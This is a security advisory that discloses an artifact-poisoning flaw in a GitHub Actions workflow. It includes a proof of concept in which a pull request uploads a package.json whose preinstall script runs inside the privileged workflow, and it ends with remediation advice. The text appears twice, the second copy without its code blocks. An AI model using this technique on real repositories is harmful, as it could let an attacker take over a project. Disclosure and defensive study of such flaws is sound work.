Artifact Poisoning in docker-test-cont.yml
workflow. (GHSL-2024-178
)
The docker-test-cont.yml
workflow gets triggered when the PR - Docker build test
workflow completes successfully:
on:
workflow_run:
workflows: [PR - Docker build test] # open, reopen, synchronized, edited included
types: [completed]
It then collects some information about the Pull Request that triggered the triggering workflow and set some labels depending on the PR body and sender. If the PR also contains a routes
markdown block, it will set the TEST_CONTINUE
environment variable to true
.
The workflow then downloads and extracts an artifact uploaded by the triggering workflow which is expected to contain a single rsshub.tar.zst
file. However, this is not validates and the contents are extracted in the root of the workspace overriding any existing files:
- name: Fetch Docker image
if: (env.TEST_CONTINUE)
uses: dawidd6/action-download-artifact@v6
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
run_id: ${{ github.event.workflow_run.id }}
name: docker-image
After a few steps, the workflow installs the pnpm dependencies with:
- name: Install dependencies (pnpm) # require js-beautify
if: (env.TEST_CONTINUE)
run: pnpm i
Since the contents of the artifact have not been validated, it is possible for a malicious actor to send a Pull Request which uploads, not just the rsshub.tar.zst
compressed docker image, but also a malicious package.json
file with a script to run arbitrary code in the context of the privileged workflow.
PoC
- Clone the repository
- Modify
docker-test.yml
workflow. Keep the original content but perform the following modifications:
- Add the following step before the upload artifact step:
- name: Test Docker image
run: bash scripts/docker/test-docker.sh
- name: Export Docker image
run: |
mkdir payload
cd payload
docker save rsshub:latest | zstdmt -o rsshub.tar.zst
cat <<EOF > package.json
ADD HERE THE CONTENTS OF THE ORIGINAL PACKAGE.JSON (ommitted for clarity) AND ADD A NEW PREINSTALL SCRIPT:
`"preinstall": "echo COMPROMISED",`
EOF
- name: Upload Docker image
uses: actions/upload-artifact@v4
with:
name: docker-image
path: payload
retention-days: 1
- Create a Pull Request and add a valid
routes
comment in the body of the Pull Request
- Watch the execution of the vulnerable workflow log and look for the word
COMPROMISED
in it.
Impact
The workflow runs with full-write privieges which may allow a malicious actor to take over the Repository:
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
Remediation
Extract the artifact to a temporary directory and validate its contents.
Resources
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
Artifact Poisoning in
docker-test-cont.yml
workflow. (GHSL-2024-178
)The
docker-test-cont.yml
workflow gets triggered when thePR - Docker build test
workflow completes successfully:It then collects some information about the Pull Request that triggered the triggering workflow and set some labels depending on the PR body and sender. If the PR also contains a
routes
markdown block, it will set theTEST_CONTINUE
environment variable totrue
.The workflow then downloads and extracts an artifact uploaded by the triggering workflow which is expected to contain a single
rsshub.tar.zst
file. However, this is not validates and the contents are extracted in the root of the workspace overriding any existing files:After a few steps, the workflow installs the pnpm dependencies with:
Since the contents of the artifact have not been validated, it is possible for a malicious actor to send a Pull Request which uploads, not just the
rsshub.tar.zst
compressed docker image, but also a maliciouspackage.json
file with a script to run arbitrary code in the context of the privileged workflow.PoC
docker-test.yml
workflow. Keep the original content but perform the following modifications:routes
comment in the body of the Pull RequestCOMPROMISED
in it.Impact
The workflow runs with full-write privieges which may allow a malicious actor to take over the Repository:
Remediation
Extract the artifact to a temporary directory and validate its contents.
Resources
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.